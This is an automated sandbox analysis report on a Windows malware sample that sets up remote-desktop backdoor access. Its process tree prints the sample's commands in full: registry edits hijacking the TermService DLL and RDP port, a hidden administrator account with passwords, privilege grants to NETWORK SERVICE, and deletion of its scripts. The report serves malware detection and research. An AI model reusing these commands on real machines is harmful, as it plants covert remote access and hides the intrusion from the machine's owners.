Analysis

  • max time kernel
    38s
  • max time network
    110s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    08-11-2020 17:47

General

  • Target

    d7455594c0ced8e888154a84944219cbc6f0824e46450b69bb8413616dd07d45.exe

  • Size

    3.1MB

  • MD5

    c9cc3da6e84aedbd74218e5edea5d039

  • SHA1

    f7b3f452245571dfe0906f417cf1cf1097d5cc44

  • SHA256

    d7455594c0ced8e888154a84944219cbc6f0824e46450b69bb8413616dd07d45

  • SHA512

    fb33da351c2f8e68dfcf32f373f2894ef1fd7ad523aa85426231eaf5412d63a47a12ef078f3e56e124676d787f6d71139cec377fa60c7ba7ce255f5d4b18f7fe

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies service 2 TTPs 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 67 IoCs
  • Suspicious use of WriteProcessMemory 70 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d7455594c0ced8e888154a84944219cbc6f0824e46450b69bb8413616dd07d45.exe
    "C:\Users\Admin\AppData\Local\Temp\d7455594c0ced8e888154a84944219cbc6f0824e46450b69bb8413616dd07d45.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:912
    • \??\c:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gviksms1\gviksms1.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1348
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6B81.tmp" "c:\Users\Admin\AppData\Local\Temp\gviksms1\CSC95561934605341159D384D8599A7156.TMP"
          4⤵
            PID:2688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3920
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2840
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2264
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies service
            • Modifies registry key
            PID:2176
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3092
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3644
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3912
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:760
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2740
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3840
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2844
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1060
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:800
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4036
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:516
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2844
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:2616
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2776
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2840
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:1352
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc X1x9MXvy /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1772
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc X1x9MXvy /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2208
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc X1x9MXvy /add
                          3⤵
                            PID:228
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4080
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3980
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:2844
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3952
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:652
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                              3⤵
                                PID:3788
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1604
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2776
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:1032
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc X1x9MXvy
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2536
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc X1x9MXvy
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2264
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc X1x9MXvy
                                  3⤵
                                    PID:1212
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C net user wgautilacc 1234
                                1⤵
                                  PID:2432
                                  • C:\Windows\system32\net.exe
                                    net user wgautilacc 1234
                                    2⤵
                                      PID:760
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc 1234
                                        3⤵
                                          PID:2132

                                    Network

                                    MITRE ATT&CK Matrix ATT&CK v6

                                    Persistence

                                    Account Manipulation

                                    1
                                    T1098

                                    Registry Run Keys / Startup Folder

                                    1
                                    T1060

                                    Modify Existing Service

                                    1
                                    T1031

                                    Defense Evasion

                                    Modify Registry

                                    3
                                    T1112

                                    Lateral Movement

                                    Remote Desktop Protocol

                                    1
                                    T1076

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Temp\RES6B81.tmp
                                      MD5

                                      09f2d573c2bfa764b4ed824e2d2a1aa3

                                      SHA1

                                      4427dcc41ec426a091bfa4a99fceaa51b2e1b122

                                      SHA256

                                      e8a62d26983e305cde547fbf03408940f563fa7b04f12f3448372e5451ff6e12

                                      SHA512

                                      621850beb6187b775a4a91e458f915c5db575d32ef16d1e1c56db97ccc0f2db0757e39c20b2a3b6f4529b5137bd2f5ced7db8b12c9d37bdfb3454a13b92632d7

                                    • C:\Users\Admin\AppData\Local\Temp\get-points.ps1
                                      MD5

                                      41d1a9d1cbee90f1e5f27fdfb299f8b8

                                      SHA1

                                      1e9ac27006a7c364649265246fccbd719418ceab

                                      SHA256

                                      0f6c089b4cefa4a454150f08519573283b1a38e2c19cd7b04855a05d686d41b4

                                      SHA512

                                      f178f88d0491cf72c3d4d591ab1d428691474a4c443822a0d270555c9dc4d05932057847b0e7106d564e6c9ddb33c0649e472258afca10696edc3dbb00f33422

                                    • C:\Users\Admin\AppData\Local\Temp\gviksms1\gviksms1.dll
                                      MD5

                                      02596fef0c68550c59071f6b0fa276db

                                      SHA1

                                      1327e49fbf466212c80d1e8837752c9c44565aeb

                                      SHA256

                                      1b3d2c99a3236b89486659c2cfa43a2d4606a24fa881f9459ec501756823fa58

                                      SHA512

                                      d9f82ab026facd113cbb27e44247467e7bb98924ddc2a16e2c1e1e396323e4b0674d7a768bd5690db927d7bc4b03ce0afd6dd9a4152243acabc41302c7900776

                                    • \??\c:\Users\Admin\AppData\Local\Temp\gviksms1\CSC95561934605341159D384D8599A7156.TMP
                                      MD5

                                      8ba7e1ce7b66489e234b9ff3898ce848

                                      SHA1

                                      fb3eab726c3c8cbbfb5c03c3a35af4f0ba6701d4

                                      SHA256

                                      ba23541c0f96e23ecc92a8fe0cef54837ea4ede2e2c10751afb462d05f140439

                                      SHA512

                                      da7ba292c6413b7dbdc7d10ad1c5ec3ab7b22d12a7e0cc2e366e5ca1450e014b35cc8bac7df857875ad3f938c8ee4154a5f673b27a65f09dea8e95a483e6c171

                                    • \??\c:\Users\Admin\AppData\Local\Temp\gviksms1\gviksms1.0.cs
                                      MD5

                                      8e55cb0ca998472ab6d3e295e0c4dd50

                                      SHA1

                                      407d07a29b89fc3afc246c0680d5857e3f51019d

                                      SHA256

                                      63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

                                      SHA512

                                      c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

                                    • \??\c:\Users\Admin\AppData\Local\Temp\gviksms1\gviksms1.cmdline
                                      MD5

                                      144e26476cced02b91bb5e6544a6ac72

                                      SHA1

                                      c03936e7b4425a50102230a9db0c33e465f0bee0

                                      SHA256

                                      215cc9d337f01ca6a52ab9a6d8a8715693db7fd7f72a7965a07e6c49fa6bed29

                                      SHA512

                                      fd5f685ffa13818d08d5601bc6bef84960a8580338a9db625723c01a61bc4ba0c2e6b5612e0a98da2e046e16c3c5cf5a422a715e171cc2c24841ebfeb9ab8217

                                    • \Windows\Branding\mediasrv.png
                                      MD5

                                      37fb7ba711ffbe9d6ebb27d54e827966

                                      SHA1

                                      4d4d9303e011bcb14720b24239a1aacd58122f47

                                      SHA256

                                      81b857da0878a957125253a0a5eb80d64c7ab9826797304813d8ed3c3e7f84c5

                                      SHA512

                                      3f0358b9e7d89fba96e6e9bbe804c26b886a4678a6aa49bc2e784bf180b86c863e3e9a54da71f6856f5b4bb7d28b4e56269dbf31015fdba3b4b808eb66e3aedf

                                    • \Windows\Branding\mediasvc.png
                                      MD5

                                      2f916498a393e2f0d008d33a74c062ba

                                      SHA1

                                      404d52d4253ef3843ae3f2c4aff050f37fcd3f08

                                      SHA256

                                      d5038b5227bc35e157dd225c7bb54f0bcf3ba8d8b48cbb930b4ccb65c23d3412

                                      SHA512

                                      d952a820a966c6cadc1750947d053d01e4e6476d074b6cd460555cc9f8417bd7412beebb65cfa8a121edcce9aab110a5909251146fce703d1b4e984788486f10

                                    • memory/228-48-0x0000000000000000-mapping.dmp
                                    • memory/516-42-0x0000000000000000-mapping.dmp
                                    • memory/572-17-0x00000179A05F0000-0x00000179A05F1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/572-3-0x00007FF8FDFB0000-0x00007FF8FE99C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/572-5-0x00000179FEA50000-0x00000179FEA51000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/572-6-0x00000179FEFA0000-0x00000179FEFA1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/572-15-0x0000017998000000-0x0000017998001000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/572-16-0x00000179A0260000-0x00000179A0261000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/572-2-0x0000000000000000-mapping.dmp
                                    • memory/572-4-0x00000179FC3E0000-0x00000179FC3E1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/652-51-0x0000000000000000-mapping.dmp
                                    • memory/760-35-0x0000000000000000-mapping.dmp
                                    • memory/760-59-0x0000000000000000-mapping.dmp
                                    • memory/800-40-0x0000000000000000-mapping.dmp
                                    • memory/912-1-0x0000000000DC0000-0x0000000000DC1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/1032-54-0x0000000000000000-mapping.dmp
                                    • memory/1060-39-0x0000000000000000-mapping.dmp
                                    • memory/1212-56-0x0000000000000000-mapping.dmp
                                    • memory/1348-8-0x0000000000000000-mapping.dmp
                                    • memory/1352-46-0x0000000000000000-mapping.dmp
                                    • memory/2132-60-0x0000000000000000-mapping.dmp
                                    • memory/2144-19-0x00007FF8FDFB0000-0x00007FF8FE99C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/2144-18-0x0000000000000000-mapping.dmp
                                    • memory/2176-31-0x0000000000000000-mapping.dmp
                                    • memory/2208-47-0x0000000000000000-mapping.dmp
                                    • memory/2264-30-0x0000000000000000-mapping.dmp
                                    • memory/2264-55-0x0000000000000000-mapping.dmp
                                    • memory/2616-58-0x0000000000000000-mapping.dmp
                                    • memory/2688-11-0x0000000000000000-mapping.dmp
                                    • memory/2740-36-0x0000000000000000-mapping.dmp
                                    • memory/2776-53-0x0000000000000000-mapping.dmp
                                    • memory/2840-45-0x0000000000000000-mapping.dmp
                                    • memory/2840-27-0x00007FF8FDFB0000-0x00007FF8FE99C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/2840-25-0x0000000000000000-mapping.dmp
                                    • memory/2844-38-0x0000000000000000-mapping.dmp
                                    • memory/2844-50-0x0000000000000000-mapping.dmp
                                    • memory/2844-57-0x0000000000000000-mapping.dmp
                                    • memory/3092-32-0x0000000000000000-mapping.dmp
                                    • memory/3644-33-0x0000000000000000-mapping.dmp
                                    • memory/3788-52-0x0000000000000000-mapping.dmp
                                    • memory/3840-37-0x0000000000000000-mapping.dmp
                                    • memory/3912-34-0x0000000000000000-mapping.dmp
                                    • memory/3920-23-0x00007FF8FDFB0000-0x00007FF8FE99C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/3920-21-0x0000000000000000-mapping.dmp
                                    • memory/3980-49-0x0000000000000000-mapping.dmp
                                    • memory/4036-41-0x0000000000000000-mapping.dmp